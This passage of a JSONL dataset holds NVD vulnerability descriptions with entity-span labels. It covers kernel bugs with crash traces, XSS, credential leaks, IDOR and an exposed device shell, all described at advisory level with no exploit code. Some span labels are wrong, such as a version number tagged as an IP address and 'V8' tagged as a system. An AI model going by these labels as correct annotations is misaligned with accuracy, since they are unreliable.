[[1239, 1247]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1182, 1186]], "ORGANIZATION: Ubuntu": [[1187, 1193]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40006"}}
{"text": "Vulnerability in the Oracle Commerce Platform product of Oracle Commerce (component: Dynamo Application Framework). Supported versions that are affected are 11.1, 11.2 and prior to 11.3.1. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Commerce Platform. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Commerce Platform accessible data as well as unauthorized read access to a subset of Oracle Commerce Platform accessible data. CVSS 3.1 Base Score 3.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [57, 63], [297, 303], [518, 524], [610, 616]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14533"}}
{"text": "Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. In versions prior to 1.4.2, the UDM incorrectly converts a downstream 400 Bad Request (from UDR) into a 500 Internal Server Error when handling DELETE requests with an empty supi path parameter. This leaks internal error handling behavior and makes it difficult for clients to distinguish between client-side errors and server-side failures. When a client sends a DELETE request with an empty supi (e.g., double slashes // in URL path), the UDM forwards the malformed request to UDR, which correctly returns 400. However, UDM propagates this as 500 SYSTEM_FAILURE instead of returning the appropriate 400 error to the client. This violates REST API best practices for DELETE operations. The issue has been patched in version 1.4.2.", "spans": {"SYSTEM: Linux": [[26, 31]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33065"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: fix NULL deref in mesh_matches_local()\n\nmesh_matches_local() unconditionally dereferences ie->mesh_config to\ncompare mesh configuration parameters. When called from\nmesh_rx_csa_frame(), the parsed action-frame elements may not contain a\nMesh Configuration IE, leaving ie->mesh_config NULL and triggering a\nkernel NULL pointer dereference.\n\nThe other two callers are already safe:\n  - ieee80211_mesh_rx_bcn_presp() checks !elems->mesh_config before\n    calling mesh_matches_local()\n  - mesh_plink_get_event() is only reached through\n    mesh_process_plink_frame(), which checks !elems->mesh_config, too\n\nmesh_rx_csa_frame() is the only caller that passes raw parsed elements\nto mesh_matches_local() without guarding mesh_config. An adjacent\nattacker can exploit this by sending a crafted CSA action frame that\nincludes a valid Mesh ID IE but omits the Mesh Configuration IE,\ncrashing the kernel.\n\nThe captured crash log:\n\nOops: general protection fault, probably for non-canonical address ...\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nWorkqueue: events_unbound cfg80211_wiphy_work\n[...]\nCall Trace:\n <TASK>\n ? __pfx_mesh_matches_local (net/mac80211/mesh.c:65)\n ieee80211_mesh_rx_queued_mgmt (net/mac80211/mesh.c:1686)\n [...]\n ieee80211_iface_work (net/mac80211/iface.c:1754 net/mac80211/iface.c:1802)\n [...]\n cfg80211_wiphy_work (net/wireless/core.c:426)\n process_one_work (net/kernel/workqueue.c:3280)\n ? assign_work (net/kernel/workqueue.c:1219)\n worker_thread (net/kernel/workqueue.c:3352)\n ? __pfx_worker_thread (net/kernel/workqueue.c:3385)\n kthread (net/kernel/kthread.c:436)\n [...]\n ret_from_fork_asm (net/arch/x86/entry/entry_64.S:255)\n </TASK>\n\nThis patch adds a NULL check for ie->mesh_config at the top of\nmesh_matches_local() to return false early when the Mesh Configuration\nIE is absent.", "spans": {"FILEPATH: /mac80211/mesh.c": [[1252, 1268], [1308, 1324]], "FILEPATH: /mac80211/iface.c": [[1364, 1381], [1390, 1407]], "FILEPATH: /wireless/core.c": [[1446, 1462]], "FILEPATH: /kernel/workqueue.c": [[1490, 1509], [1535, 1554], [1580, 1599], [1633, 1652]], "FILEPATH: /kernel/kthread.c": [[1672, 1689]], "FILEPATH: /arch/x86/entry/entry_64.S": [[1725, 1751]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[398, 422]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23396"}}
{"text": "PLANKA 2.0.0 lacks X-Frame-Options and CSP frame-ancestors headers, allowing the application to be embedded within malicious iframes. While this does not lead to unintended modification of projects or tasks, it exposes users to Phishing attacks. Attackers can frame the legitimate Planka application on a malicious site to establish false trust (UI Redressing), potentially tricking users into entering sensitive information or credentials into overlaid fake forms. NOTE: this is disputed by the Supplier because \"PLANKA uses SameSite=Strict cookies, preventing authentication in cross-origin contexts. No session can be established. No credential interception or unauthorized actions are possible. Browser Same-Origin Policy prevents the parent page from accessing iframe content. Clickjacking is not applicable on the login page. Any credential capture would require attacker-controlled input and user interaction equivalent to phishing. The security outcome depends entirely on the user's trust in the parent page. An attacker can achieve the same effect with a fully fake login page. Embedding the legitimate page adds no risk, as browsers do not show URL, certificate, or padlock indicators in cross-origin iframes.\"", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-65922"}}
{"text": "A security flaw has been discovered in CesiumGS CesiumJS up to 1.137.0. Affected by this issue is some unknown functionality of the file Apps/Sandcastle/standalone.html. The manipulation of the argument c results in cross site scripting. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The presence of this vulnerability remains uncertain at this time. The vendor was contacted early about this disclosure but did not respond in any way. According to CVE-2023-48094, \"the vendor's position is that Apps/Sandcastle/standalone.html is part of the CesiumGS/cesium GitHub repository, but is demo code that is not part of the CesiumJS JavaScript library product.\"", "spans": {"CVE_ID: CVE-2023-48094": [[513, 527]], "FILEPATH: /Sandcastle/standalone.html.": [[141, 169]], "FILEPATH: /Sandcastle/standalone.html": [[564, 591]], "ORGANIZATION: GitHub": [[623, 629]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3990"}}
{"text": "A credential-leak issue was discovered in related Veracode products before 2023-03-27. Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs, invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access of the Jenkins remote) to discover Veracode API credentials by listing the process and its arguments. Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs and when the \"Connect using proxy\" option is enabled and configured with proxy credentials, allows local users of the Jenkins remote to discover proxy credentials by listing the process and its arguments. Veracode Azure DevOps Extension before 3.20.0 invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access to the Azure DevOps Services cloud infrastructure or Azure DevOps Server) to discover Veracode API credentials by listing the process and its arguments. Veracode Azure DevOps Extension before 3.20.0, when configured with proxy credentials, allows users (with shell access to the Azure DevOps Services cloud infrastructure or Azure DevOps Server) to discover proxy credentials by listing the process and its arguments.", "spans": {"IP_ADDRESS: 23.3.19.0": [[123, 132], [407, 416]], "SYSTEM: Jenkins": [[101, 108], [276, 283], [385, 392], [574, 581]], "SYSTEM: Java": [[194, 198], [728, 732]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-25722"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\njffs2: Fix potential illegal address access in jffs2_free_inode\n\nDuring the stress testing of the jffs2 file system,the following\nabnormal printouts were found:\n[ 2430.649000] Unable to handle kernel paging request at virtual address 0069696969696948\n[ 2430.649622] Mem abort info:\n[ 2430.649829]   ESR = 0x96000004\n[ 2430.650115]   EC = 0x25: DABT (current EL), IL = 32 bits\n[ 2430.650564]   SET = 0, FnV = 0\n[ 2430.650795]   EA = 0, S1PTW = 0\n[ 2430.651032]   FSC = 0x04: level 0 translation fault\n[ 2430.651446] Data abort info:\n[ 2430.651683]   ISV = 0, ISS = 0x00000004\n[ 2430.652001]   CM = 0, WnR = 0\n[ 2430.652558] [0069696969696948] address between user and kernel address ranges\n[ 2430.653265] Internal error: Oops: 96000004 [#1] PREEMPT SMP\n[ 2430.654512] CPU: 2 PID: 20919 Comm: cat Not tainted 5.15.25-g512f31242bf6 #33\n[ 2430.655008] Hardware name: linux,dummy-virt (DT)\n[ 2430.655517] pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 2430.656142] pc : kfree+0x78/0x348\n[ 2430.656630] lr : jffs2_free_inode+0x24/0x48\n[ 2430.657051] sp : ffff800009eebd10\n[ 2430.657355] x29: ffff800009eebd10 x28: 0000000000000001 x27: 0000000000000000\n[ 2430.658327] x26: ffff000038f09d80 x25: 0080000000000000 x24: ffff800009d38000\n[ 2430.658919] x23: 5a5a5a5a5a5a5a5a x22: ffff000038f09d80 x21: ffff8000084f0d14\n[ 2430.659434] x20: ffff0000bf9a6ac0 x19: 0169696969696940 x18: 0000000000000000\n[ 2430.659969] x17: ffff8000b6506000 x16: ffff800009eec000 x15: 0000000000004000\n[ 2430.660637] x14: 0000000000000000 x13: 00000001000820a1 x12: 00000000000d1b19\n[ 2430.661345] x11: 0004000800000000 x10: 0000000000000001 x9 : ffff8000084f0d14\n[ 2430.662025] x8 : ffff0000bf9a6b40 x7 : ffff0000bf9a6b48 x6 : 0000000003470302\n[ 2430.662695] x5 : ffff00002e41dcc0 x4 : ffff0000bf9aa3b0 x3 : 0000000003470342\n[ 2430.663486] x2 : 0000000000000000 x1 : ffff8000084f0d14 x0 : fffffc0000000000\n[ 2430.664217] Call trace:\n[ 2430.664528]  kfree+0x78/0x348\n[ 2430.664855]  jffs2_free_inode+0x24/0x48\n[ 2430.665233]  i_callback+0x24/0x50\n[ 2430.665528]  rcu_do_batch+0x1ac/0x448\n[ 2430.665892]  rcu_core+0x28c/0x3c8\n[ 2430.666151]  rcu_core_si+0x18/0x28\n[ 2430.666473]  __do_softirq+0x138/0x3cc\n[ 2430.666781]  irq_exit+0xf0/0x110\n[ 2430.667065]  handle_domain_irq+0x6c/0x98\n[ 2430.667447]  gic_handle_irq+0xac/0xe8\n[ 2430.667739]  call_on_irq_stack+0x28/0x54\nThe parameter passed to kfree was 5a5a5a5a, which corresponds to the target field of\nthe jffs_inode_info structure. It was found that all variables in the jffs_inode_info\nstructure were 5a5a5a5a, except for the first member sem. It is suspected that these\nvariables are not initialized because they were set to 5a5a5a5a during memory testing,\nwhich is meant to detect uninitialized memory.The sem variable is initialized in the\nfunction jffs2_i_init_once, while other members are initialized in\nthe function jffs2_init_inode_info.\n\nThe function jffs2_init_inode_info is called after iget_locked,\nbut in the iget_locked function, the destroy_inode process is triggered,\nwhich releases the inode and consequently, the target member of the inode\nis not initialized.In concurrent high pressure scenarios, iget_locked\nmay enter the destroy_inode branch as described in the code.\n\nSince the destroy_inode functionality of jffs2 only releases the target,\nthe fix method is to set target to NULL in jffs2_i_init_once.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42115"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid potential memory corruption in __update_iostat_latency()\n\nAdd iotype sanity check to avoid potential memory corruption.\nThis is to fix the compile error below:\n\nfs/f2fs/iostat.c:231 __update_iostat_latency() error: buffer overflow\n'io_lat->peak_lat[type]' 3 <= 3\n\nvim +228 fs/f2fs/iostat.c\n\n  211  static inline void __update_iostat_latency(struct bio_iostat_ctx\n\t*iostat_ctx,\n  212\t\t\t\t\tenum iostat_lat_type type)\n  213  {\n  214\t\tunsigned long ts_diff;\n  215\t\tunsigned int page_type = iostat_ctx->type;\n  216\t\tstruct f2fs_sb_info *sbi = iostat_ctx->sbi;\n  217\t\tstruct iostat_lat_info *io_lat = sbi->iostat_io_lat;\n  218\t\tunsigned long flags;\n  219\n  220\t\tif (!sbi->iostat_enable)\n  221\t\t\treturn;\n  222\n  223\t\tts_diff = jiffies - iostat_ctx->submit_ts;\n  224\t\tif (page_type >= META_FLUSH)\n                                 ^^^^^^^^^^\n\n  225\t\t\tpage_type = META;\n  226\n  227\t\tspin_lock_irqsave(&sbi->iostat_lat_lock, flags);\n @228\t\tio_lat->sum_lat[type][page_type] += ts_diff;\n                                      ^^^^^^^^^\nMixup between META_FLUSH and NR_PAGE_TYPE leads to memory corruption.", "spans": {"FILEPATH: /f2fs/iostat.c": [[251, 265], [363, 377]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory corruption": [[98, 115], [189, 206], [1160, 1177]], "VULNERABILITY: buffer overflow": [[303, 318]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53214"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix memory leak in tracing_read_pipe()\n\nkmemleak reports this issue:\n\nunreferenced object 0xffff888105a18900 (size 128):\n  comm \"test_progs\", pid 18933, jiffies 4336275356 (age 22801.766s)\n  hex dump (first 32 bytes):\n    25 73 00 90 81 88 ff ff 26 05 00 00 42 01 58 04  %s......&...B.X.\n    03 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<00000000560143a1>] __kmalloc_node_track_caller+0x4a/0x140\n    [<000000006af00822>] krealloc+0x8d/0xf0\n    [<00000000c309be6a>] trace_iter_expand_format+0x99/0x150\n    [<000000005a53bdb6>] trace_check_vprintf+0x1e0/0x11d0\n    [<0000000065629d9d>] trace_event_printf+0xb6/0xf0\n    [<000000009a690dc7>] trace_raw_output_bpf_trace_printk+0x89/0xc0\n    [<00000000d22db172>] print_trace_line+0x73c/0x1480\n    [<00000000cdba76ba>] tracing_read_pipe+0x45c/0x9f0\n    [<0000000015b58459>] vfs_read+0x17b/0x7c0\n    [<000000004aeee8ed>] ksys_read+0xed/0x1c0\n    [<0000000063d3d898>] do_syscall_64+0x3b/0x90\n    [<00000000a06dda7f>] entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\niter->fmt alloced in\n  tracing_read_pipe() -> .. ->trace_iter_expand_format(), but not\nfreed, to fix, add free in tracing_release_pipe()", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[82, 93]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49801"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of the `Split` TFLite operator is vulnerable to a division by zero error(https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65). An attacker can craft a model such that `num_splits` would be 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65": [[163, 290]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29599"}}
{"text": "A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions < V9.90), SIPROTEC 5 6MD85 (CP200) (All versions), SIPROTEC 5 6MD85 (CP300) (All versions < V9.90), SIPROTEC 5 6MD86 (CP200) (All versions), SIPROTEC 5 6MD86 (CP300) (All versions < V9.90), SIPROTEC 5 6MD89 (CP300) (All versions < V9.90), SIPROTEC 5 6MU85 (CP300) (All versions < V9.90), SIPROTEC 5 7KE85 (CP200) (All versions), SIPROTEC 5 7KE85 (CP300) (All versions < V10.0), SIPROTEC 5 7SA82 (CP100) (All versions < V8.90), SIPROTEC 5 7SA82 (CP150) (All versions < V9.90), SIPROTEC 5 7SA86 (CP200) (All versions), SIPROTEC 5 7SA86 (CP300) (All versions < V9.90), SIPROTEC 5 7SA87 (CP200) (All versions), SIPROTEC 5 7SA87 (CP300) (All versions < V9.90), SIPROTEC 5 7SD82 (CP100) (All versions < V8.90), SIPROTEC 5 7SD82 (CP150) (All versions < V9.90), SIPROTEC 5 7SD86 (CP200) (All versions), SIPROTEC 5 7SD86 (CP300) (All versions < V9.90), SIPROTEC 5 7SD87 (CP200) (All versions), SIPROTEC 5 7SD87 (CP300) (All versions < V9.90), SIPROTEC 5 7SJ81 (CP100) (All versions < V8.90), SIPROTEC 5 7SJ81 (CP150) (All versions < V9.90), SIPROTEC 5 7SJ82 (CP100) (All versions < V8.90), SIPROTEC 5 7SJ82 (CP150) (All versions < V9.90), SIPROTEC 5 7SJ85 (CP200) (All versions), SIPROTEC 5 7SJ85 (CP300) (All versions < V9.90), SIPROTEC 5 7SJ86 (CP200) (All versions), SIPROTEC 5 7SJ86 (CP300) (All versions < V9.90), SIPROTEC 5 7SK82 (CP100) (All versions < V8.90), SIPROTEC 5 7SK82 (CP150) (All versions < V9.90), SIPROTEC 5 7SK85 (CP200) (All versions), SIPROTEC 5 7SK85 (CP300) (All versions < V9.90), SIPROTEC 5 7SL82 (CP100) (All versions < V8.90), SIPROTEC 5 7SL82 (CP150) (All versions < V9.90), SIPROTEC 5 7SL86 (CP200) (All versions), SIPROTEC 5 7SL86 (CP300) (All versions < V9.90), SIPROTEC 5 7SL87 (CP200) (All versions), SIPROTEC 5 7SL87 (CP300) (All versions < V9.90), SIPROTEC 5 7SS85 (CP200) (All versions), SIPROTEC 5 7SS85 (CP300) (All versions < V9.90), SIPROTEC 5 7ST85 (CP200) (All versions), SIPROTEC 5 7ST85 (CP300) (All versions < V10.0), SIPROTEC 5 7ST86 (CP300) (All versions < V10.0), SIPROTEC 5 7SX82 (CP150) (All versions < V9.90), SIPROTEC 5 7SX85 (CP300) (All versions < V9.90), SIPROTEC 5 7SY82 (CP150) (All versions < V9.90), SIPROTEC 5 7UM85 (CP300) (All versions < V9.90), SIPROTEC 5 7UT82 (CP100) (All versions < V8.90), SIPROTEC 5 7UT82 (CP150) (All versions < V9.90), SIPROTEC 5 7UT85 (CP200) (All versions), SIPROTEC 5 7UT85 (CP300) (All versions < V9.90), SIPROTEC 5 7UT86 (CP200) (All versions), SIPROTEC 5 7UT86 (CP300) (All versions < V9.90), SIPROTEC 5 7UT87 (CP200) (All versions), SIPROTEC 5 7UT87 (CP300) (All versions < V9.90), SIPROTEC 5 7VE85 (CP300) (All versions < V9.90), SIPROTEC 5 7VK87 (CP200) (All versions), SIPROTEC 5 7VK87 (CP300) (All versions < V9.90), SIPROTEC 5 7VU85 (CP300) (All versions < V9.90), SIPROTEC 5 Compact 7SX800 (CP050) (All versions < V9.90). Affected devices do not properly limit access to a development shell accessible over a physical interface. This could allow an unauthenticated attacker with physical access to the device to execute arbitrary commands on the device.", "spans": {"SYSTEM: V8": [[497, 499], [775, 777], [1053, 1055], [1151, 1153], [1429, 1431], [1617, 1619], [2320, 2322]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53648"}}
{"text": "Nextcloud Text is an open source plaintext editing application which ships with the nextcloud server. In affected versions the Nextcloud Text application returned different error messages depending on whether a folder existed in a public link share. This is problematic in case the public link share has been created with \"Upload Only\" privileges. (aka \"File Drop\"). A link share recipient is not expected to see which folders or files exist in a \"File Drop\" share. Using this vulnerability an attacker is able to enumerate folders in such a share. Exploitation requires that the attacker has access to a valid affected \"File Drop\" link share. It is recommended that the Nextcloud Server is upgraded to 20.0.12, 21.0.4 or 22.0.1. Users who are unable to upgrade are advised to disable the Nextcloud Text application in the app settings.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32766"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix recursive locking in RPC handle list access\n\nSince commit 305853cce3794 (\"ksmbd: Fix race condition in RPC handle list\naccess\"), ksmbd_session_rpc_method() attempts to lock sess->rpc_lock.\n\nThis causes hung connections / tasks when a client attempts to open\na named pipe. Using Samba's rpcclient tool:\n\n $ rpcclient //192.168.1.254 -U user%password\n $ rpcclient $> srvinfo\n <connection hung here>\n\nKernel side:\n  \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n  task:kworker/0:0 state:D stack:0 pid:5021 tgid:5021 ppid:2 flags:0x00200000\n  Workqueue: ksmbd-io handle_ksmbd_work\n  Call trace:\n  __schedule from schedule+0x3c/0x58\n  schedule from schedule_preempt_disabled+0xc/0x10\n  schedule_preempt_disabled from rwsem_down_read_slowpath+0x1b0/0x1d8\n  rwsem_down_read_slowpath from down_read+0x28/0x30\n  down_read from ksmbd_session_rpc_method+0x18/0x3c\n  ksmbd_session_rpc_method from ksmbd_rpc_open+0x34/0x68\n  ksmbd_rpc_open from ksmbd_session_rpc_open+0x194/0x228\n  ksmbd_session_rpc_open from create_smb2_pipe+0x8c/0x2c8\n  create_smb2_pipe from smb2_open+0x10c/0x27ac\n  smb2_open from handle_ksmbd_work+0x238/0x3dc\n  handle_ksmbd_work from process_scheduled_works+0x160/0x25c\n  process_scheduled_works from worker_thread+0x16c/0x1e8\n  worker_thread from kthread+0xa8/0xb8\n  kthread from ret_from_fork+0x14/0x38\n  Exception stack(0x8529ffb0 to 0x8529fff8)\n\nThe task deadlocks because the lock is already held:\n  ksmbd_session_rpc_open\n    down_write(&sess->rpc_lock)\n    ksmbd_rpc_open\n      ksmbd_session_rpc_method\n        down_read(&sess->rpc_lock)   <-- deadlock\n\nAdjust ksmbd_session_rpc_method() callers to take the lock when necessary.", "spans": {"IP_ADDRESS: 192.168.1.254": [[398, 411]], "FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[503, 542]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Samba": [[358, 363]], "VULNERABILITY: race condition": [[165, 179]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40090"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: soc-compress: Reposition and add pcm_mutex\n\nIf panic_on_warn is set and compress stream(DPCM) is started,\nthen kernel panic occurred because card->pcm_mutex isn't held appropriately.\nIn the following functions, warning were issued at this line\n\"snd_soc_dpcm_mutex_assert_held\".\n\nstatic int dpcm_be_connect(struct snd_soc_pcm_runtime *fe,\n\t\tstruct snd_soc_pcm_runtime *be, int stream)\n{\n\t...\n\tsnd_soc_dpcm_mutex_assert_held(fe);\n\t...\n}\n\nvoid dpcm_be_disconnect(struct snd_soc_pcm_runtime *fe, int stream)\n{\n\t...\n\tsnd_soc_dpcm_mutex_assert_held(fe);\n\t...\n}\n\nvoid snd_soc_runtime_action(struct snd_soc_pcm_runtime *rtd,\n\t\t\t    int stream, int action)\n{\n\t...\n\tsnd_soc_dpcm_mutex_assert_held(rtd);\n\t...\n}\n\nint dpcm_dapm_stream_event(struct snd_soc_pcm_runtime *fe, int dir,\n\tint event)\n{\n\t...\n\tsnd_soc_dpcm_mutex_assert_held(fe);\n\t...\n}\n\nThese functions are called by soc_compr_set_params_fe, soc_compr_open_fe\nand soc_compr_free_fe\nwithout pcm_mutex locking. And this is call stack.\n\n[  414.527841][ T2179] pc : dpcm_process_paths+0x5a4/0x750\n[  414.527848][ T2179] lr : dpcm_process_paths+0x37c/0x750\n[  414.527945][ T2179] Call trace:\n[  414.527949][ T2179]  dpcm_process_paths+0x5a4/0x750\n[  414.527955][ T2179]  soc_compr_open_fe+0xb0/0x2cc\n[  414.527972][ T2179]  snd_compr_open+0x180/0x248\n[  414.527981][ T2179]  snd_open+0x15c/0x194\n[  414.528003][ T2179]  chrdev_open+0x1b0/0x220\n[  414.528023][ T2179]  do_dentry_open+0x30c/0x594\n[  414.528045][ T2179]  vfs_open+0x34/0x44\n[  414.528053][ T2179]  path_openat+0x914/0xb08\n[  414.528062][ T2179]  do_filp_open+0xc0/0x170\n[  414.528068][ T2179]  do_sys_openat2+0x94/0x18c\n[  414.528076][ T2179]  __arm64_sys_openat+0x78/0xa4\n[  414.528084][ T2179]  invoke_syscall+0x48/0x10c\n[  414.528094][ T2179]  el0_svc_common+0xbc/0x104\n[  414.528099][ T2179]  do_el0_svc+0x34/0xd8\n[  414.528103][ T2179]  el0_svc+0x34/0xc4\n[  414.528125][ T2179]  el0t_64_sync_handler+0x8c/0xfc\n[  414.528133][ T2179]  el0t_64_sync+0x1a0/0x1a4\n[  414.528142][ T2179] Kernel panic - not syncing: panic_on_warn set ...\n\nSo, I reposition and add pcm_mutex to resolve lockdep error.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53866"}}
{"text": "Mastodon is a free, open-source social network server based on ActivityPub. Prior to versions 4.5.5, 4.4.12, and 4.3.18, an insecure direct object reference in the web push subscription update endpoint lets any authenticated user update another user's push subscription by guessing or obtaining the numeric subscription id. This can be used to disrupt push notifications for other users and also leaks the web push subscription endpoint. Any user with a web push subscription is impacted, because another authenticated user can tamper with their push subscription settings if they can guess or obtain the subscription id. This allows an attacker to disrupt push notifications by changing the policy (whether to filter notifications from non-followers or non-followed users) and subscribed notification types of their victims. Additionally, the endpoint returns the subscription object, which includes the push notification endpoint for this subscription, but not its keypair. Mastodon versions v4.5.5, v4.4.12, v4.3.18 are patched.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23964"}}
{"text": "A CWE-200: Information Exposure vulnerability exists which could cause the troubleshooting archive to be accessed. Affected Products: 1-Phase Uninterruptible Power Supply (UPS) using NMC2 including Smart-UPS, Symmetra, and Galaxy 3500 with Network Management Card 2 (NMC2): AP9630/AP9630CH/AP9630J, AP9631/AP9631CH/AP9631J, AP9635/AP9635J (NMC2 AOS V6.9.8 and earlier), 3-Phase Uninterruptible Power Supply (UPS) using NMC2 including Symmetra PX 250/500 (SYPX) Network Management Card 2 (NMC2): AP9630/AP9630CH/AP9630J, AP9631/AP9631CH/AP9631J, AP9635/AP9635J (NMC2 AOS V6.9.6 and earlier), 3-Phase Uninterruptible Power Supply (UPS) using NMC2 including Symmetra PX 48/96/100/160 kW UPS (PX2), Symmetra PX 20/40 kW UPS (SY3P), Gutor (SXW, GVX), and Galaxy (GVMTS, GVMSA, GVXTS, GVXSA, G7K, GFC, G9KCHU): AP9630/AP9630CH/AP9630J, AP9631/AP9631CH/AP9631J, AP9635/AP9635CH (NMC2 AOS V6.9.6 and earlier), 1-Phase Uninterruptible Power Supply (UPS) using NMC3 including Smart-UPS, Symmetra, and Galaxy 3500 with Network Management Card 3 (NMC3): AP9640/AP9640J, AP9641/AP9641J, AP9643/AP9643J (NMC3 AOS V1.4.2.1 and earlier), APC Rack Power Distribution Units (PDU) using NMC2 2G Metered/Switched Rack PDUs with embedded NMC2: AP84XX, AP86XX, AP88XX, AP89XX (NMC2 AOS V6.9.6 and earlier), APC Rack Power Distribution Units (PDU) using NMC3 2G Metered/Switched Rack PDUs with embedded NMC3: APDU99xx (NMC3 AOS V1.4.0 and earlier), APC 3-Phase Power Distribution Products using NMC2 Galaxy RPP: GRPPIP2X84 (NMC2 AOS V6.9.6 and earlier), Network Management Card 2 (NMC2) for InfraStruxure 150 kVA PDU with 84 Poles (X84P): PDPB150G6F (NMC2 AOS V6.9.6 and earlier), Network Management Card 2 for InfraStruxure 40/60kVA PDU (XPDU) PD40G6FK1-M, PD40F6FK1-M, PD40L6FK1-M, PDRPPNX10 M,PD60G6FK1, PD60F6FK1, PD60L6FK1, PDRPPNX10, PD40E5EK20-M, PD40H5EK20-M (NMC2 AOS V6.9.6 and earlier), Network Management Card 2 for Modular 150/175kVA PDU (XRDP): PDPM150G6F, PDPM150L6F, PDPM175G6H (NMC2 AOS V6.9.6 and earlier), Network Management Card 2 for 400 and 500 kVA (PMM): PMM400-ALA, PMM400-ALAX, PMM400-CUB, PMM500-ALA, PMM500-ALAX, PMM500-CUB (NMC2 AOS V6.9.6 and earlier), Network Management Card 2 for Modular PDU (XRDP2G): PDPM72F-5U, PDPM138H-5U, PDPM144F, PDPM138H-R, PDPM277H, PDPM288G6H (NMC2 AOS V6.9.6 and earlier), Rack Automatic Transfer Switches (ATS) Embedded NMC2: Rack Automatic Transfer Switches - AP44XX (ATS4G) (NMC2 AOS V6.9.6 and earlier), Network Management Card 2 (NMC2) Cooling Products: InRow Cooling for series ACRP5xx, ACRP1xx, ACRD5xx, and ACRC5xx SKUs (ACRP2G), InRow Cooling for series ACRC10x SKUs (RC10X2G), InRow Cooling for series ACRD6xx and ACRC6xx SKUs (ACRD2G), InRow Cooling Display for series ACRD3xx (ACRC2G), InRow Cooling for series ACSC1xx SKUs (SC2G), InRow Cooling for series ACRD1xx and ACRD2xx (ACRPTK2G), Ecoflair IAEC25/50 Air Economizer Display (EB2G), Uniflair SP UCF0481I, UCF0341I (UNFLRSP), Uniflair LE DX Perimeter Cooling Display for SKUs: IDAV, IDEV, IDWV, IUAV, IUEV, IUWV, IXAV, IXEV, IXWV, LDAV, LDEV, and LDWV (LEDX2G), Refrigerant Distribution Unit: ACDA9xx (RDU) (NMC2 AOS V6.9.6 and earlier), Environmental Monitoring Unit with embedded NMC2 (NB250): NetBotz NBRK0250 (NMC2 AOS V6.9.6 and earlier), and Network Management Card 2 (NMC2): AP9922 Battery Management System (BM4) (NMC2 AOS V6.9.6 and earlier)", "spans": {"FILEPATH: /AP9630CH/AP9630J": [[280, 297], [501, 518], [811, 828]], "FILEPATH: /AP9631CH/AP9631J": [[305, 322], [526, 543], [836, 853]], "FILEPATH: /96/100/160": [[669, 680]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-22815"}}
